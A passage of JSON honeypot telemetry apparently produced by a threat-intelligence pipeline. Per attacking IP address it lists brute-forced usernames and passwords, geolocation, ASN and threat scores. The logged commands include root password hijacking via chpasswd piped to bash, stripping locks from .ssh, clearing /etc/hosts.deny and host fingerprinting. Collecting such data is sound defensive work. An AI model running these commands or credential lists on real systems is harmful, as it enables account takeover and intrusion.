        "echo \"root:9ZTf7GR85mQ3\"|chpasswd|bash",
        "echo \"root:eNZm4jmUVQBA\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 140641,
      "as_org": "YOTTA NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T06:44:21.362000+00:00",
        "last_seen_30d": "2026-03-05T07:10:58.601000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 33
      }
    },
    "152.42.212.36": {
      "attack_count": 186,
      "first_seen": "2026-03-02T16:53:51.193Z",
      "last_seen": "2026-03-02T17:19:17.096Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456Q!",
        "@wsx3edc",
        "Bi123456",
        "Dy123456",
        "Welkom01",
        "administrador",
        "bt123456.",
        "lyp82Nlf##^^",
        "qwe123QWE!@#",
        "root666"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:23r7gfbx3ICN\"|chpasswd|bash",
        "echo \"root:eUCiJrXMUjhA\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:53:51.193000+00:00",
        "last_seen_30d": "2026-03-02T17:20:21.658000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 33
      }
    },
    "178.128.210.168": {
      "attack_count": 180,
      "first_seen": "2026-03-11T13:02:59.946Z",
      "last_seen": "2026-03-11T13:39:16.236Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "1234567890",
        "1q2w3e4r",
        "admin123",
        "password1",
        "qwerty123",
        "123abc",
        "pass123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:02:59.946000+00:00",
        "last_seen_30d": "2026-03-11T13:40:21.124000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 180,
        "Suricata": 78
      }
    },
    "187.154.126.94": {
      "attack_count": 163,
      "first_seen": "2026-03-26T01:02:00.213Z",
      "last_seen": "2026-03-26T01:11:15.972Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "peertube",
        "pzuser",
        "a",
        "root",
        "wade"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1Qaz2Wsx3Edc",
        "a",
        "pzuserpass",
        "wade"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\ngPYe8eLGqmxm\\ngPYe8eLGqmxm\\n\"|passwd",
        "echo \"pzuserpass\\nUqFwPeu5bjZO\\nUqFwPeu5bjZO\\n\"|passwd",
        "echo -e \"123456\\ngPYe8eLGqmxm\\ngPYe8eLGqmxm\"|passwd|bash",
        "echo -e \"pzuserpass\\nUqFwPeu5bjZO\\nUqFwPeu5bjZO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Centro",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T01:02:00.213000+00:00",
        "last_seen_30d": "2026-03-26T01:12:20.021000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 20
      }
    },
    "110.238.119.167": {
      "attack_count": 119,
      "first_seen": "2026-03-16T15:18:19.145Z",
      "last_seen": "2026-03-16T15:38:55.086Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "zhangliang",
        "345gs5662d34",
        "allen",
        "amine",
        "bryan",
        "gm",
        "intell",
        "lorenzo",
        "mukul",
        "radarr",
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112233.",
        "Allen123",
        "Mukul123!",
        "Radarr123!",
        "Zhangliang123!",
        "bryanpass",
        "gmpass",
        "intell"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Zhangliang123!\\n5NJGsb2aNph8\\n5NJGsb2aNph8\\n\"|passwd",
        "echo -e \"Zhangliang123!\\n5NJGsb2aNph8\\n5NJGsb2aNph8\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T15:18:19.145000+00:00",
        "last_seen_30d": "2026-03-16T15:40:02.148000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "139.59.89.236": {
      "attack_count": 119,
      "first_seen": "2026-03-08T21:08:05.967Z",
      "last_seen": "2026-03-08T21:29:21.367Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "dolphinscheduler",
        "345gs5662d34",
        "andong",
        "bot",
        "cockpit",
        "mamad",
        "mobile",
        "root",
        "vas",
        "webapps",
        "wei"
      ],
      "passwords_attempted": [
        "12345678",
        "password",
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Qq@123123",
        "dolphinscheduler123!",
        "mamad",
        "mobile123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"dolphinscheduler123!\\n20gy3uOQlVuV\\n20gy3uOQlVuV\\n\"|passwd",
        "echo -e \"dolphinscheduler123!\\n20gy3uOQlVuV\\n20gy3uOQlVuV\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T21:08:05.967000+00:00",
        "last_seen_30d": "2026-03-08T21:30:28.599000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "3.129.187.38": {
      "attack_count": 119,
      "first_seen": "2026-03-02T17:52:36.356Z",
      "last_seen": "2026-03-27T04:29:32.157Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36",
        "Accept-Encoding: gzip"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11950,
        "days_active_30d": 30,
        "ports_targeted_30d": 177,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-03-02T00:22:49.570000+00:00",
        "last_seen_30d": "2026-03-31T21:16:51.803000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7776,
        "Honeytrap": 3509,
        "Dionaea": 154,
        "ConPot": 134,
        "Cowrie": 119,
        "Redishoneypot": 106,
        "Mailoney": 90,
        "Ipphoney": 21,
        "Tanner": 13,
        "Honeyaml": 11,
        "CitrixHoneypot": 6,
        "Ciscoasa": 4,
        "H0neytr4p": 4,
        "ElasticPot": 3
      }
    },
    "34.78.29.97": {
      "attack_count": 119,
      "first_seen": "2026-03-14T07:29:57.040Z",
      "last_seen": "2026-03-14T07:46:12.306Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user1",
        "345gs5662d34",
        "User",
        "ftptest",
        "sambauser",
        "support",
        "test_user",
        "webadmin",
        "zomboid"
      ],
      "passwords_attempted": [
        "12345",
        "1",
        "111222",
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc.123456",
        "password",
        "sambauser1234",
        "test_user123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1\\naI0jCuk0dmrA\\naI0jCuk0dmrA\\n\"|passwd",
        "echo -e \"1\\naI0jCuk0dmrA\\naI0jCuk0dmrA\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T07:29:57.040000+00:00",
        "last_seen_30d": "2026-03-14T07:47:19.572000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "34.69.0.72": {
      "attack_count": 118,
      "first_seen": "2026-03-02T05:45:51.878Z",
      "last_seen": "2026-03-02T06:00:26.509Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456@Ab",
        "123abcABC",
        "3245gs5662d34",
        "345gs5662d34",
        "6666",
        "Ab123456+",
        "Abc@111111",
        "Letmein!",
        "Li123456789",
        "alaska",
        "ali@123",
        "qwerty@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Ba9mEpFiAWHD\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T05:45:51.878000+00:00",
        "last_seen_30d": "2026-03-02T06:01:29.295000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 27
      }
    },
    "57.128.182.5": {
      "attack_count": 118,
      "first_seen": "2026-03-02T15:33:08.831Z",
      "last_seen": "2026-03-02T15:57:08.114Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123qweqwe",
        "3245gs5662d34",
        "345gs5662d34",
        "8899",
        "Aaaa1234",
        "Pokemon1",
        "alamakota",
        "ch0c0l4t3",
        "changeme",
        "changeme_123",
        "cyber123",
        "xxx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:1JEmVV9SpC7M\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Covent Garden",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T15:33:08.831000+00:00",
        "last_seen_30d": "2026-03-02T15:58:12.813000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "164.132.215.208": {
      "attack_count": 114,
      "first_seen": "2026-03-03T05:29:29.541Z",
      "last_seen": "2026-03-03T05:58:19.213Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "123456Aa.",
        "6yhn^YHN",
        "Cloud@2025",
        "Hm123456@",
        "Mr123456",
        "Zhu12345",
        "Zj123456@",
        "ch123456",
        "qwerty123123",
        "welcome@2024"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T05:29:29.541000+00:00",
        "last_seen_30d": "2026-03-03T05:59:29.388000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 41
      }
    },
    "122.97.212.35": {
      "attack_count": 100,
      "first_seen": "2026-03-07T05:15:28.205Z",
      "last_seen": "2026-03-11T02:30:19.358Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shaoguan",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T05:15:28.205000+00:00",
        "last_seen_30d": "2026-03-11T02:31:28.765000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 52
      }
    },
    "59.6.41.4": {
      "attack_count": 96,
      "first_seen": "2026-03-10T16:46:32.615Z",
      "last_seen": "2026-03-11T02:54:47.119Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "!1Kelltech",
        "Admin2024",
        "Centos123#",
        "Kelltech!2023",
        "Kelltech2023@",
        "Linux123",
        "R00t2025@",
        "Root1234!",
        "Test2026@",
        "Welcome123#",
        "Welcome2024",
        "centos123",
        "kelltech#2022",
        "kelltech2021",
        "kelltech2022",
        "root@2025",
        "shop1234",
        "tech123@"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T16:46:32.615000+00:00",
        "last_seen_30d": "2026-03-11T02:55:55.805000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 54
      }
    },
    "45.166.78.173": {
      "attack_count": 93,
      "first_seen": "2026-03-08T21:06:20.391Z",
      "last_seen": "2026-03-08T21:31:01.417Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "webapps",
        "andong",
        "mamad",
        "mobile",
        "wei"
      ],
      "passwords_attempted": [
        "password",
        "12345678",
        "3245gs5662d34",
        "mamad",
        "mobile123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nckR9aHS8aWI3\\nckR9aHS8aWI3\\n\"|passwd",
        "echo -e \"password\\nckR9aHS8aWI3\\nckR9aHS8aWI3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Villa Ca\u00f1\u00e1s",
      "asn": 267731,
      "as_org": "COOPERATIVA DE ELECTRICIDAD SERVICIOS PUBLICOS VIVIENDA Y CREDITO DE V CANAS LTD",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T21:06:20.391000+00:00",
        "last_seen_30d": "2026-03-08T21:32:08.129000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 19
      }
    },
    "38.188.160.113": {
      "attack_count": 68,
      "first_seen": "2026-03-10T23:01:35.243Z",
      "last_seen": "2026-03-11T00:40:20.122Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "10203040501",
        "150681",
        "210290",
        "231182",
        "christou",
        "corolla",
        "derrick",
        "dina",
        "hendrix1",
        "piopio",
        "poupoun",
        "shinji",
        "yagami"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:01:35.243000+00:00",
        "last_seen_30d": "2026-03-11T00:40:20.122000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 33
      }
    },
    "203.6.235.51": {
      "attack_count": 66,
